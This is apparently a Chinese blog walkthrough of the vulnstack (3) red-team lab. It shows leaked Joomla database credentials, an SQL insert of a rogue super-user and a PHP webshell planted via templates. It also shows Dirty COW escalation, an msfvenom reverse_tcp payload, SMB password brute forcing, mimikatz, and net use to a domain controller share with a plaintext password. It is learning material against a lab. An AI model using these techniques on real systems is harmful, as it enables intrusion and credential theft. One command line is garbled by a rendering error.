vulnstack（三） 红日靶场复现

最新推荐文章于 2024-05-31 11:25:26 发布
最新推荐文章于 2024-05-31 11:25:26 发布
阅读量1k 收藏
点赞数 1
分类专栏： 网络通信 文章标签： centos php linux 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/bunahua/article/details/120037772
版权

说明：如您在读这篇复现中，有任何问题，欢迎vx：Bestboysendit 交流

目录：

一、环境配置

二、外网测试：
三、获取会话：
01信息收集
0201获取会话-msf
0201获取会话-cs
四、内网渗透：
五、参考链接：

打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。
挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。
除重新获取ip，不建议进行任何虚拟机操作。
参考虚拟机网络配置，添加新的网络，该网络作为内部网络。
在这里插入图片描述

centos6.5 nat:192.168.134.130 仅主机：192.168.93.100
其它设备网卡配置为

开启后给win2008和win2012设备开启不休眠，不然，，，主要是没有密码。

注：名称及网段必须符合上述图片，进行了固定ip配置。
描述
目标：域控中存在一份重要文件。
本次环境为黑盒测试，不提供虚拟机账号密码。

二、外网测试：

1、nmap网段扫描：
经排查：192.168.134.130即为centos地址：

Nmap scan report for 192.168.134.130
Host is up (0.000083s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 00:0C:29:32:46:C9 (VMware)

2、访问80端口：
使用joomla写的
在这里插入图片描述

3、使用koomscan探测下：

apt install joomscan
joomscan -u http://192.168.134.130


Processing http://192.168.134.130 ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.9.12

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.134.130/administrator/components
http://192.168.134.130/administrator/modules
http://192.168.134.130/administrator/templates
http://192.168.134.130/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://192.168.134.130/administrator/

[+] Checking robots.txt existing
[++] robots.txt is found
path : http://192.168.134.130/robots.txt

Interesting path found from robots.txt
http://192.168.134.130/joomla/administrator/
http://192.168.134.130/administrator/
http://192.168.134.130/bin/
http://192.168.134.130/cache/
http://192.168.134.130/cli/
http://192.168.134.130/components/
http://192.168.134.130/includes/
http://192.168.134.130/installation/
http://192.168.134.130/language/
http://192.168.134.130/layouts/
http://192.168.134.130/libraries/
http://192.168.134.130/logs/
http://192.168.134.130/modules/
http://192.168.134.130/plugins/
http://192.168.134.130/tmp/


[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config file is found
 config file path : http://192.168.134.130/configuration.php~

Your Report : reports/192.168.134.130/

3、扫到配置文件：

 config file path : http://192.168.134.130/configuration.php~

访问：有数据库信息
dbtype：mysqli
db：joomla
user：testuser
password：cvcvgjASD!@

在这里插入图片描述

4、navicat连接数据库：
可以看到超级用户名和用户 密码，但是密码太长而且md5解密解不出来……
在这里插入图片描述

解决：
已经登录到了数据库后台，因为不知道密码是什么加密方式，改密码也改不了，so，
一、自己搭一个环境，设置一个密码然后替换进去
官方重置密码方式：
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
在这里插入图片描述

数据库添加用户:
这里有个大坑，am2zu_users，和表umnbt_users里面的数据都是super user用户，我在umnbt_users里面添加了好久的用户……，正确的是am2zu_users表：

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Super User', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

添加成功：
在这里插入图片描述

5、访问joomscan给出的管理地址：
[+] admin finder
[++] Admin page : http://192.168.134.130/administrator/
这里centos重新获取了下地址，192.168.134.130地址改为192.168.134.129：
在这里插入图片描述

6、这种CMS一般直接找模板文件，添加php文件，而且登陆后也提示使用的是PHP环境，然后连马：这里直接给出了路径的：
先添加phpinfo尝试访问：
在这里插入图片描述在这里插入图片描述

可以访问的到：且是php7版本+Ubuntu。而不是给出的centos
在这里插入图片描述

添加一句话：

在这里插入图片描述

7、连接：
这里菜刀连不上去……
在这里插入图片描述

换蚁剑直接上来在这里插入图片描述
……，菜刀浪费我好久

8、但是不能执行命令，危险函数被禁用：
在这里插入图片描述

9、使用蚁剑绕过disable_function的插件：
在插件市场里面下载：
在这里插入图片描述在这里插入图片描述

根据蚁剑得到的php版本选择模式，并绕过，绕过后会给出一个新的窗口。可以执行命令：
在这里插入图片描述

9.2绕过方法：
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

三、获取会话：

01信息收集

1、www-data用户，权限太低
在这里插入图片描述

2、且地址是192.168.93.120，不同于我们之前的192.168.134.0网段：，，，？so？已经进了内网？
在这里插入图片描述

3、文件夹内搜寻：
mysql下有一个用户文件：
在这里插入图片描述

4、查看已安装软件：
dpkg -l
安装了不少东西，，，没看到可以利用的，比如nmap
在这里插入图片描述

5、因为上面找到的用户名和密码，是从mysql找到的，而且上面查已经安装的软件发现数据库是在这台机器上的，但是上不去
在这里插入图片描述

那就可能是别的机子上的。尝试登录前面渗透的目标：192.168.134.129，可以连接上去：
在这里插入图片描述

地址有两个网卡，这就对应上了上面，渗透的是134网段，登录上去是93网段了，所以93网段是内网网段，且上面93.120 的设备为这台93.100提供了反向代理：
在这里插入图片描述

也和登录管理后台后提供的信息：php+ubuntu对应上了，因为渗透的目标93.100/134.129是centos

在这里插入图片描述在这里插入图片描述

6、提权：
内核2.6.32，脏牛提权：
方式：https://www.cnblogs.com/shigfdengys/p/11297731.html

用SCP或者Moba连接上去后传exp，然后提权
成功：
在这里插入图片描述

7、获取root权限：
在这里插入图片描述

0201获取会话-msf
8、msf生成会话：
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.134.129 LPORT=4444 -f elf > shell.elf
在这里插入图片描述

但是木马执行不是很顺利，虽然已经是root权限，还是权限不允许：
在这里插入图片描述

这个鬼地方卡好久……，
如果出现Permission denied要么使用sudo权限去执行
如果1不行就说明当前文件夹确实没有指定的权限
文件夹：chmod -R 777
文件：chmod 777 路径
在这里插入图片描述

可以执行了但是上不去，换一条路：
使用MSF的web_delivery模块上线
https://blog.csdn.net/qq_40989258/article/details/110389788
在这里插入图片描述

选择exploit/multi/script/web_delivery模块
在这里插入图片描述

选择目标系统，我这里选择Linux
在这里插入图片描述

选择payload，我这里选择linux/x64/meterpreter/reverse_tcp
在这里插入图片描述

本机监听一下
在这里插入图片描述

运行，生成一条命令
在这里插入图片描述

目标机器执行上线
在这里插入图片描述
在这里插入图片描述

9、添加路由：
在这里插入图片描述

0201获取会话-cs
温习一下前两天学的CS上线：
1、执行cs服务端程序，开启服务，ip是kali的ip，密码是123
在这里插入图片描述

重新打开一个终端，在kali上执行cs客户端程序，用户名随意，密码123
在这里插入图片描述

创建一个监听器，ip就是kali的ip
在这里插入图片描述
在这里插入图片描述

生成生成Web Delivery
在这里插入图片描述

选择刚刚创建的那个Listener
在这里插入图片描述

会生成一条命令，使用菜刀连接webshell，打开虚拟终端，输入这条命令，不对哦~这命令-----ubuntu？
不复习了，明天学习！
在这里插入图片描述

四、内网渗透：

**
1、信息收集：

扫到三台：

[*] 192.168.93.10:445     - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.0.2) (signatures:required) (uptime:5h 53m 9s) (guid:{5b12dc58-504a-4130-afe1-ab52aa1f0f97}) (authentication domain:TEST)
[+] 192.168.93.10:445     -   Host is running Windows 2012 R2 Datacenter (build:9600) (name:WIN-8GA56TNV3MV) (domain:TEST)

[*] 192.168.93.20:445     - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.0.2) (signatures:optional) (uptime:89w 3d 4h 8m 44s) (guid:{f9644969-0bf4-48c7-ab87-58ba8044ed81})
[+] 192.168.93.20:445     -   Host is running Windows 2008 Datacenter SP2 (build:6003) (name:WIN2008) (domain:TEST)

[*] 192.168.93.30:445     - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:95w 6d 0h 56m 40s) (guid:{5cc9a08c-4395-4e1d-95be-f93ec2195144}) (authentication domain:TEST)
[+] 192.168.93.30:445     -   Host is running Windows 7 Professional SP1 (build:7601) (name:WIN7) (domain:TEST)

2、扫描SMB弱密码：有一台弱密码：
在这里插入图片描述

3、获取该主机会话：
在这里插入图片描述

这用run获取不到会话就用exploit试试……
在这里插入图片描述

4、获取权限，查看信息：
在这里插入图片描述

5、迁移进程，并加载mimikatz
迁移进程：在刚获得Meterpreter shell时，该shell是及其脆弱和易受攻击的，例如攻击者可以利用浏览器漏洞攻陷目标机器，但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个shell，把他和目标机中一个稳定的进程绑定在一起，而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。
在这里插入图片描述在这里插入图片描述

但是这里加载mimikatz之后执行不了命令……
借用别人搞好的，密码zxcASDqw123!!

6、信息收集-域
在这里插入图片描述

7、ping域，查看域控主机ip
在这里插入图片描述

8、获取域控主机上的文件：
net use z: \192.168.93.10\c$ zxcASDqw123!! /user:test\administrator
dir \192.168.93.10\cKaTeX parse error: Undefined control sequence: \users at position 1: \̲u̲s̲e̲r̲s̲\administrator\…\users\administrator\Documents\flag.txt

在这里插入图片描述

至此，拿到了重要文件，可以结束！

9、试点别的：
#设置远程桌面端口
reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
#检查端口状态
netstat -an|find “3389”
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 0

五、参考链接：

https://blog.csdn.net/qq_40989258/article/details/110377147（推荐）
https://www.nnullull.cn/index.php/archives/19/
https://www.freebuf.com/articles/network/260575.html
https://blog.csdn.net/BROTHERYY/article/details/109963420

802.1Q
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
vulnstack域环境靶场（三）
BROTHERYY的博客
12-01 777
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar
ATT&CK实战系列-红队实战(三) VulnStack靶场
weixin_68652890的博客
05-11 509
信息搜集 nmap 扫192.168.5.0/24网段 目标主机开启22 80 3306 思路：22 ssh爆破 远程连接 80 从网站getshell 3306 mysql 外联(数据库配置文件) 先访问80 指纹识别 joomla cms msf探测版本为3.9.12 没找到exp 用dirsearch 扫到后台 和数据库配置文件configuration.php~ 泄露数据库账号和密码 用Navicat连接数据库 [外链图片转存失败,源站可能有防盗链机制,建议
内网渗透实战——红日ATT&CK系列靶场（一）学习笔记_红日靶场1攻略-CSDN博客.html
05-11
内网渗透实战——红日ATT&CK系列靶场（一）学习笔记_红日靶场1攻略-CSDN博客.html
红日安全-wp1
08-03
护网杯 Write up--红日安全迟来的签到base64 解密，得到如下结果：根据题目提示为 xor 异或，利用 c 语言撰写脚本利用 burp 爆破获得大辣
webshell bypass 外加提权
Devotedakura的博客
08-19 201
对于这个情况，我们现在只知道仅许传PHP文件。直接试试传一句话木马，结果不出意料的失败了，又试了几个木马的变形，发现都无济于事，像无头苍蝇一样乱撞。只传入phpinfo()看看有什么收获发现一大堆，基本上所有的恶意函数全部都被过滤，接下来试试用的办法读取Linux 系统中的 /etc/passwd 文件，是系统用户配置文件，存储了系统中所有用户的基本信息，并且所有用户都可以对此文件执行读操作。这里我们用最常用的来读取文件成功读取。那么根据，可以尝试读取网站源码（这里尝试index.php。
vulnstack-3渗透笔记
weixin_54855337的博客
03-22 225
后面就是通过每一台的win跳板，迁移进程位数对的进程，然后读取使用mimikatz读取hash，最后发现域管理员的账户凭证，但是测试发现两台win靶机都只能读取hash并不能读取文明，标准流程就是在win靶机上面获取到了域管的凭证，然后直接拿win靶机当跳板机，psexec或者wmic进行横向。查看ip发现这台机子位93段的，而不是一开始4段的，判断可能使用了反向代理，将192.168.93.120的80端口转发到了192.168.4.52的80。尝试进行后台登陆，账号为admin2密码为secret。
通过Bypass UAC进行权限提升
good good study
01-30 3445
用户账户控制（User Account control，UAC）是windows系统采用的一种控制机制，可以阻止自动安装未经授权的应用 并防止意外更改系统设置，有助于防止恶意软件损坏计算机。用户账户控制程序使应用程序和任务始终在非管理员账户的安全上下文中运行，除非管理员专门授权管理员级别的权限。开启用户账户控制后，每个需要使用管理员访问令牌的应用都必须征得用户同意。UAC限制所有用户包括非RID500的管理员用户使用标准用户登录到他们的计算机，并在标准用户的安全性上下文中访问资源和运行应用。
[渗透测试]Vulnstack 红队（三）
cosmoslin的博客
03-10 3918
环境配置 网络拓扑图(仅供参考) 攻击机： kali ip:192.168.111.5 靶机： web-centos 外网ip:192.168.111.10 内网ip:192.168.93.100 web1-ubuntu ip: 192.168.93.120 PC ip: 192.168.93.30 win 2008 ip:192.168.93.20 win 2012 ip:192.168.93.10 渗透测试 信息搜集 端口扫描： nmap -sS 192.168.111.10 发现
红日安全ATT＆CK靶机实战系列之vulnstack3
黑白的博客
04-20 5641
声明 好好学习，天天向上 环境配置 下载地址，直接进去用百度云，没有会员也下的非常快 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 边下载着，可以开始vmware的网络配置 有两个网段，外网网段是我自己设置的桥接模式192.168.31.1/24，内网网段，vmware加一个网卡VMnet2，192.168.93.1/24 外网的centos和kali直接都用桥接宿主机的网卡自动获取了，centos需要第一时间进去service network res
红日安全 ATT＆CK VulnStack靶场（三）
baynk的博客
07-12 2846
0x00 前言 内网真的有点难搞，总是会碰到一些奇怪的问题。。。基础不难，地动山摇。 不知道原版哪下的，就放个自己云盘的，这玩意压缩后只有20G，解压后有100G… 放个下载地址：提取码: uecu 拓扑图如下 除了centos的出口网卡的IP是需要调整外，其余网卡都不需要调整。 0x01 Web打点 直接访问网站 发现很熟悉，joomla cms，国外比较有名的cms，直接上工具，kali里面带的joomscan [+] FireWall Detector [++] Firewall not det
红日Web安全新手入门专刊.pdf
08-08
目录 1 web 安全新手入门指南 2 安全靶场实例分析
漏洞靶场平台搭建与漏洞分析文档
04-29
漏洞靶场平台搭建与漏洞分析文档，里面包含漏洞靶场网站的搭建、漏洞分析、工具使用、漏洞脚本样例，来源是红日安全，大家一起学习，进步！
2020年红日安全星火沙龙PPT.zip
02-25
2020年红日安全星火沙龙PPT
VulnStack-ATT&CK-3（红日靶场三）
buffedon的博客
07-12 8501
VulnStack-ATT&CK-31. 环境配置2. 信息收集目标机端口扫描目录扫描3. 漏洞利用远程连接web的MySQL登录后台写一句话木马连接木马文件getshell4. 内网渗透内网信息收集脏牛漏洞提权内网渗透，建立监听路由转发Sock代理Socks5代理5. 横向移动NTLM Relay 攻击定位域管理员meterpreter的kiwi模块抓取密码使用获取到的密码控制 win7进攻域控（win 2012）6. 问题总结 1. 环境配置 此图仅供参考，IP地址有误 首先添加一张网卡（仅主
Windows权限提升—BypassUAC、DLL劫持、引号路径、服务权限等提权
剁椒鱼头没剁椒的博客
03-29 1649
关于Windows提权应该这篇总结完就结束了，再次提醒一下关于第三方软件或插件提权，不是不写，而且有些软件都会自动更新，很多漏洞基本上很少遇到，同时也利用不了，比如说：向日葵有一个版本能够提权，但是现在那个版本装再电脑上，根本连接不上向日葵的服务器，更何谈提权呢，同时还可以看日志，目前日志也更改了，端口不会再日志中出现了。前面几篇文章我就汇总在下面了，同时关于UAC提权之前一篇文章写的没那么细，这里重新补充一下。Windows权限提升—令牌窃取、UAC提权、进程注入等提权。
ATT&CK 实战 - 红日安全 vulnstack（三）渗透记录
daxi0ng的博客
12-02 2638
1、大概拓扑用一下先知老哥这个图。我加了一个攻击机kail 192.168.1.128 https://xz.aliyun.com/t/6988 渗透过程： 话说我下载下来centos就是root权限登录状态。不过测试流程还是要的。 1、用msf测了一下版本 2、跑一下端口 3、跑一下目录，发现配置文件的备份文件 4、登陆一下数据库 5、查看一下密码，加密的，并且没有权限改密文。 6、joomla后台漏洞比较多的，所以想着添加一个管理员进后台。正好官方文档就有.
红日（vulnstack）3 内网渗透ATT&CK实战
m0_66299232的博客
03-11 1597
蚁剑成功连接后无法执行命令，disable_functions插件，权限提升-脏牛漏洞，用msfvenom生成木马文件，msf开启监听，执行木马文件，成功反弹shell到msf上 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.106 set LPORT 1106 run 使用use auxiliary/scanner/smb/smb_login模块，进行smb爆破
看完这篇 教你玩转ATT&CK红队评估实战靶场Vulnstack（三）
Aluxian_的博客
10-22 1119
开源靶场VulnStack是由国内红日安全团队打造一个靶场知识平台。ATK&CK1红队评估实战靶场Vulnstack（三）
CentOS 7基础操作05_Linux查看及切换目录
最新发布
IT_zhangsan
05-31 783
pwd命令用于显示用户当前所在的工作目录位置,工作目录是用户操作文件或其他子目录的默认位置起点。使用pwd命令可以不添加任何选项或参数。
红日靶场下载csdn
08-13
红日靶场是一个很受欢迎的网络安全实验平台，用于学习和锻炼网络攻防技术。由于该平台所提供的安全实验环境包含了许多常见的漏洞和攻击场景，因此在安全爱好者和专业人士中间都非常受欢迎。 要下载红日靶场，首先需要在CSDN（中国软件与技术服务股份有限公司）网站上搜索相关资源。CSDN是中国最大的IT技术社区和资源分享平台，用户可以在其网站上找到各种技术文档、开发工具和学习资源。 在CSDN网站上搜索红日靶场，可以找到一些与红日靶场相关的下载链接。用户可以根据自己的需求选择合适的下载链接，点击下载按钮即可开始下载。 下载过程可能需要一些时间，具体时间取决于网络连接速度和文件大小。一旦下载完成，用户可以根据下载的文件类型进行相应的安装或配置，以确保红日靶场能够正常运行。 如果在CSDN上找不到合适的下载资源，也可以尝试在其他一些技术资源网站或论坛上搜索红日靶场下载链接。同时，用户还可以考虑通过与其他网络安全爱好者或专业人士交流，获得更多关于红日靶场下载的信息和建议。 最后，下载红日靶场后，用户可以通过参与其中的各种实验和挑战，提升自己的网络安全技能，并加深对各种攻防技术的理解和应用。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值